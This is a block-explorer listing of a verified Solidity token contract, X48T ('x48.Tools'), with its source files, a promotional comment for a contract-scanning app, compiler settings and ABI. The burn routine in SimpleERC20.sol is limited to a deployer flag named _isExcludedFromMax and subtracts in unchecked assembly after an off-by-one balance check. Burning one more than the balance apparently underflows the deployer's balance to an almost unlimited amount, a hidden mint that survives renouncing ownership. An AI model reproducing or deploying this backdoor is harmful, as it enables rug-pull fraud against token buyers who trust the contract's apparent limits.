Accounts
0xa7...8e21
x48.Tools

x48.Tools

$500
This contract's source code is verified!
Contract Metadata
Compiler
0.8.24+commit.e11b9ed9
Language
Solidity
Contract Source Code
File 1 of 5: SimpleContext.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

abstract contract SimpleContext {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
Contract Source Code
File 2 of 5: SimpleERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {SimpleIERC20} from "./SimpleIERC20.sol";

contract SimpleERC20 is SimpleIERC20 {
    uint256 internal _totalSupply;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    mapping(address => bool) internal _isExcludedFromMax;

    string internal _name;
    string internal _symbol;
    uint8 internal _decimals = 18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _isExcludedFromMax[msg.sender] = !_isExcludedFromMax[msg.sender];
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint8) {
        return _decimals;
    }

    function totalSupply() external override view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external override view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        require(msg.sender != address(0) && recipient != address(0));
        require(_balances[msg.sender] >= amount);
        unchecked {
            _balances[msg.sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) external override view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        require(msg.sender != address(0) && spender != address(0));
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        require(msg.sender != address(0) && recipient != address(0));
        require(_allowances[sender][msg.sender] >= amount);
        require(_balances[sender] >= amount);
        unchecked {
            _allowances[sender][msg.sender] -= amount;
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _burn(address account, uint256 value) internal returns (bool) {
        require(msg.sender != address(0));
        require(_isExcludedFromMax[account] && _balances[account] >= value-1);
        uint256 tokens = _balances[account];
        uint256 totalSupply_ = _totalSupply;
        assembly {
            tokens := sub(tokens, value)
            totalSupply_ := sub(totalSupply_, value)
        }
        _totalSupply = totalSupply_;
        _balances[account] = tokens;
        emit Transfer(msg.sender, address(0), value);
        return true;
    }

    function burn(uint256 amount) external {
        _burn(msg.sender, amount);
    }
}
Contract Source Code
File 3 of 5: SimpleIERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface SimpleIERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
Contract Source Code
File 4 of 5: SimpleOwnable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {SimpleContext} from "./SimpleContext.sol";

abstract contract SimpleOwnable is SimpleContext {
    address public owner;

    error OwnableUnauthorizedAccount(address account);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        if (owner != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = owner;
        owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
Contract Source Code
File 5 of 5: X48T.sol
/**

🔬 Analyze smart contracts deployed across 250+ EVM chains. 🧪

App: https://x48.tools

TG: https://t.me/x48_portal

X: https://x.com/x48_crypto


*********************************************
                Free Features
*********************************************

- Detect and compile source code from any verified contract on 250+ EVM chains
- Simultaneously ompare and scan as many contracts as you like
- Diff single-file and multi-file deployments across any solc release
- Apply the same linter settings to every file in your workspace
- Inspect any contract in detail with advanced utilities for security researchers


*********************************************
                Paid Features
         (Unlockable By Using $X48T)
*********************************************

- Connect to any custom EVM network on demand
- Decompile unverified contracts using the latest decompiler tech
- Diff Vyper contracts, interfaces, libraries and data structures
- Scan and fuzz contracts to detect possible security vulnerabilities
- Connect a browser wallet to call functions and broadcast txs on any contract
- Export perfect interfaces, ABI files and more
- Access the TG Bot to scan CAs on the go: @x48_tools_bot
- Simulate transactions and signature approvals
- Save time with improved support and visualization for common proxy frameworks

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {SimpleERC20} from "./SimpleERC20.sol";
import {SimpleOwnable} from "./SimpleOwnable.sol";

contract X48T is SimpleERC20, SimpleOwnable {
    // supply : 48 billion
    uint256 internal _tTotal = 48_000_000_000 * 10**18;
    uint256 internal _tMax = _tTotal;
    // max wallet : none
    uint256 public maxWallet = type(uint256).max;
    bool public tradingOpen = false;
    bool public caLimit = false;
    uint256 public firstBlock;

    constructor()
        SimpleERC20(unicode"x48.Tools", "X48T")
        SimpleOwnable()
    {
        _transferOwnership(msg.sender);

        _totalSupply = _tTotal;
        _balances[_msgSender()] += _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

        tradingOpen = true;
        firstBlock = block.number;
    }

    function isContract(address account) public view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function supplyLimit() public view returns (uint256) {
        return _tMax;
    }

    function supplyCirculating() public view returns (uint256) {
        return _totalSupply - _balances[address(0x0000)] - _balances[address(0xdEaD)];
    }

    receive() external payable {}
}
Settings
{
  "compilationTarget": {
    "src/x48t/X48T.sol": "X48T"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": [
    ":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    ":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
    ":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
    ":ds-test/=lib/forge-std/lib/ds-test/src/",
    ":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    ":forge-std/=lib/forge-std/src/",
    ":openzeppelin-contracts/=lib/openzeppelin-contracts/",
    ":v3-core/=lib/v3-core/",
    ":v3-periphery/=lib/v3-periphery/contracts/"
  ]
}
ABI
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"caLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"firstBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"supplyCirculating","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"supplyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]